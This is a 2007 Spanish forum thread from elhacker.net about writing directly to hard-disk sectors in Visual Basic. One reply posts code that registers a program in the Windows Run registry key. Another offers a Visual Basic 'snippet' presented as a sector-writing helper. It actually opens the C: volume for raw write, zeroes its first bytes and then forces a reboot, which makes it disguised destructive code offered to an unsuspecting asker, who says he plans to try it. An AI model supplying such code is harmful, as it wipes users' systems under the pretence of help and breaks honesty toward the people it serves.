elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Escribir en secciones del disco duro...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Escribir en secciones del disco duro...  (Leído 2,080 veces)
nhaalclkiemr


Desconectado Desconectado

Mensajes: 1.678


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Escribir en secciones del disco duro...
« en: 13 Octubre 2007, 21:57 pm »

Pues bueno, me gustaría saber como puedo hacer para escribir directamente en el disco duro introduciendo el sector en el que quiero empezar...
Me hablaron de la API OpenFile WriteFile y la mira en la APIGuide pero no consigo saber como hacer para indicar el sector en el cual escribir...

Otra pregunta que es mas dificil sería saber en que sector del disco duro se encuentra un archivo...pero weno de momento me gustaría saber como hacer para escribir en un sector determinado de un disco duro

Saludos ;)


En línea

StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%
Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: Escribir en secciones del disco duro...
« Respuesta #1 en: 13 Octubre 2007, 22:10 pm »

En VB no se puede hacer....tendra que ser en ASM o C  :)


En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
nhaalclkiemr


Desconectado Desconectado

Mensajes: 1.678


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Re: Escribir en secciones del disco duro...
« Respuesta #2 en: 13 Octubre 2007, 23:29 pm »

Amm pensé k con alguna API... :-( :-(

Weno otra vez será...gracias de todas formas...

Saludos ;)
En línea

StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%
_z0rr0_

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Escribir en secciones del disco duro...
« Respuesta #3 en: 20 Octubre 2007, 21:35 pm »

olaa a todos,yo ice algo parecio espero que os pueda servir

ponemos:
-1text(mi aplicacion)
 2text(c:\windows\archivo.exe)
-1command(agregar exe)
codigo:
Private Sub Command1_Click()
 Dim El_Objeto As Object
 Set El_Objeto = CreateObject("WScript.Shell")
 
 El_Objeto.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Text1, Text2
 
 Set El_Objeto = Nothing
 
 MsgBox "Listo"
End Sub
En línea

nhaalclkiemr


Desconectado Desconectado

Mensajes: 1.678


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Re: Escribir en secciones del disco duro...
« Respuesta #4 en: 20 Octubre 2007, 22:06 pm »

eso es para esribir en el registro...no tiene nada que ver  :xD

Saludos ;)
En línea

StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%
smooth.core

Desconectado Desconectado

Mensajes: 5

Yo no necesito tu IP... :O


Ver Perfil
Re: Escribir en secciones del disco duro...
« Respuesta #5 en: 23 Octubre 2007, 22:35 pm »

Mirá, esto es un snippet que encontré para escribir en los primeros 512 kb del disco duro ;) te va a servir:

Código
  1.    Option Explicit
  2.  
  3.  
  4. Private Const SE_SHUTDOWN_NAME As String = "SeShutdownPrivilege"
  5. Private Const SE_DEBUG_NAME = "SeDebugPrivilege"
  6. Private Const ERROR_NOT_ALL_ASSIGNED As Long = 1300&
  7. Private Const EWX_FORCE As Long = 4
  8. Private Const EWX_REBOOT As Long = 2
  9. Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
  10. Private Const TOKEN_ASSIGN_PRIMARY As Long = &H1
  11. Private Const TOKEN_DUPLICATE As Long = &H2
  12. Private Const TOKEN_IMPERSONATE As Long = &H4
  13. Private Const TOKEN_QUERY As Long = &H8
  14. Private Const TOKEN_QUERY_SOURCE As Long = &H10
  15. Private Const TOKEN_ADJUST_PRIVILEGES As Long = &H20
  16. Private Const TOKEN_ADJUST_GROUPS As Long = &H40
  17. Private Const TOKEN_ADJUST_SESSIONID As Long = &H100
  18. Private Const TOKEN_ADJUST_DEFAULT As Long = &H80
  19. Private Const TOKEN_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or TOKEN_ASSIGN_PRIMARY Or TOKEN_DUPLICATE Or TOKEN_IMPERSONATE Or TOKEN_QUERY Or TOKEN_QUERY_SOURCE Or TOKEN_ADJUST_PRIVILEGES Or TOKEN_ADJUST_GROUPS Or TOKEN_ADJUST_SESSIONID Or TOKEN_ADJUST_DEFAULT)
  20. Private Const ANYSIZE_ARRAY As Long = 1
  21. Private Const SYNCHRONIZE As Long = &H100000
  22. Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
  23. Private Const SE_PRIVILEGE_ENABLED As Long = &H2
  24. Private Const GENERIC_WRITE As Long = &H40000000
  25. Private Const FILE_SHARE_READ As Long = &H1
  26. Private Const FILE_SHARE_WRITE As Long = &H2
  27. Private Const OPEN_EXISTING As Long = 3
  28.  
  29. Private Type LARGE_INTEGER
  30.   LowPart As Long
  31.   HighPart As Long
  32. End Type
  33.  
  34. Private Type LUID
  35.   LowPart As Long
  36.   HighPart As Long
  37. End Type
  38.  
  39.  
  40. Private Type LUID_AND_ATTRIBUTES
  41.   pLuid As LUID
  42.   Attributes As Long
  43. End Type
  44.  
  45. Private Type TOKEN_PRIVILEGES
  46.   PrivilegeCount As Long
  47.   Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
  48. End Type
  49.  
  50.  
  51. Private Declare Function GetCurrentThread Lib "kernel32.dll" () As Long
  52. Private Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByRef lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
  53. Private Declare Function AdjustTokenPrivileges Lib "ADVAPI32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
  54. Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
  55. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  56. Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
  57. Private Declare Function OpenProcessToken Lib "ADVAPI32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
  58. Private Declare Function LookupPrivilegeValue Lib "ADVAPI32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, ByRef lpLuid As LARGE_INTEGER) As Long
  59. Private Declare Function ExitWindowsEx Lib "user32.dll" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
  60. Private Declare Function GetLastError Lib "kernel32.dll" () As Long
  61. Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
  62.  
  63. Dim lLUID As LUID
  64. Dim TokenP As TOKEN_PRIVILEGES
  65. Dim LuidAttrib As LUID_AND_ATTRIBUTES
  66.  
  67. Private sub Form_Load()
  68. Dim pHnd, tHnd, ret, rBuffer, dHnd, ctHnd As Long
  69. Dim rBufferLen, rlenWrite, n As Integer
  70. Dim LuidCode As LARGE_INTEGER
  71. Dim Buffer(511) As Byte
  72.  
  73. dHnd = CreateFile("\\.\C:", GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, ByVal 0&, OPEN_EXISTING, ByVal 0&, ByVal 0&)
  74.   If dHnd = 0 Then GoTo done
  75.  
  76. For n = 0 To 511
  77. Buffer(n) = 0
  78.  
  79. ret = WriteFile(dHnd, Buffer(n), Len(Buffer(n)), rBufferLen, ByVal 0&)
  80.   If rlenWrite = 0 Then GoTo done
  81. Next
  82.  
  83. pHnd = OpenProcess(PROCESS_ALL_ACCESS, ByVal 0&, GetCurrentProcessId)
  84.   If pHnd = 0 Then
  85.           GoTo done
  86.   End If
  87.  
  88. ret = OpenProcessToken(pHnd, TOKEN_ALL_ACCESS, tHnd)
  89.   If ret = 0 Then
  90.           GoTo done
  91.   End If
  92.  
  93.  
  94. ret = LookupPrivilegeValue(vbNullString, SE_DEBUG_NAME, LuidCode)
  95.   If ret = 0 Then
  96.           GoTo done
  97.   End If
  98.  
  99. lLUID.HighPart = LuidCode.HighPart
  100. lLUID.LowPart = LuidCode.LowPart
  101.  
  102. LuidAttrib.pLuid.HighPart = lLUID.HighPart
  103. LuidAttrib.pLuid.LowPart = lLUID.LowPart
  104.  
  105. TokenP.PrivilegeCount = 1
  106. TokenP.Privileges(0) = LuidAttrib
  107. TokenP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
  108.  
  109. ret = AdjustTokenPrivileges(tHnd, 0, TokenP, ByVal 0&, TokenP, rBuffer)
  110.  If GetLastError = ERROR_NOT_ALL_ASSIGNED Then
  111.   GoTo done
  112.   End If
  113.  
  114.   If GetLastError = 122 Then
  115.       ret = AdjustTokenPrivileges(tHnd, 0, TokenP, rBuffer, TokenP, rBuffer)
  116.           If ret = 0 Then
  117.                   GoTo done
  118.           ElseIf ret = ERROR_NOT_ALL_ASSIGNED Then
  119.               GoTo done
  120.           End If
  121.  
  122.   End If
  123.  
  124.  
  125. ret = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
  126.   If ret = 0 Then
  127.           GoTo done
  128.   End If
  129. done:
  130. CloseHandle (pHnd)
  131. CloseHandle (tHnd)
  132. End Sub
  133.  
  134.  

Saludos ^^

Edit: Alguien que lo pruebe  :xD
« Última modificación: 23 Octubre 2007, 22:38 pm por smooth.core » En línea

nhaalclkiemr


Desconectado Desconectado

Mensajes: 1.678


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Re: Escribir en secciones del disco duro...
« Respuesta #6 en: 24 Octubre 2007, 15:11 pm »

Muchas gracias...voy a ver si lo prueva en un dico duro viejo medio estropeado que tengo (va muy lento)...

pero antes coy a ver si entiendo como funciona y si consigo escribir en el sector que quiera, y eso supongo que lo podré probar en una máquina virtual...

Saludos y muchas gracias ;)
En línea

StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[javascript] Escribir al disco duro desde firefox
Desarrollo Web
haveavigar 0 3,576 Último mensaje 12 Febrero 2011, 23:41 pm
por haveavigar
Como escribir puntero a objetos en el disco duro para posteriorment recuperarlo?
Programación C/C++
Synth3tik0 3 2,431 Último mensaje 1 Agosto 2014, 08:21 am
por eferion
Escribir recursos o secciones desde vb6
Programación Visual Basic
Ninfrock 2 1,899 Último mensaje 12 Mayo 2015, 22:54 pm
por Ninfrock
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines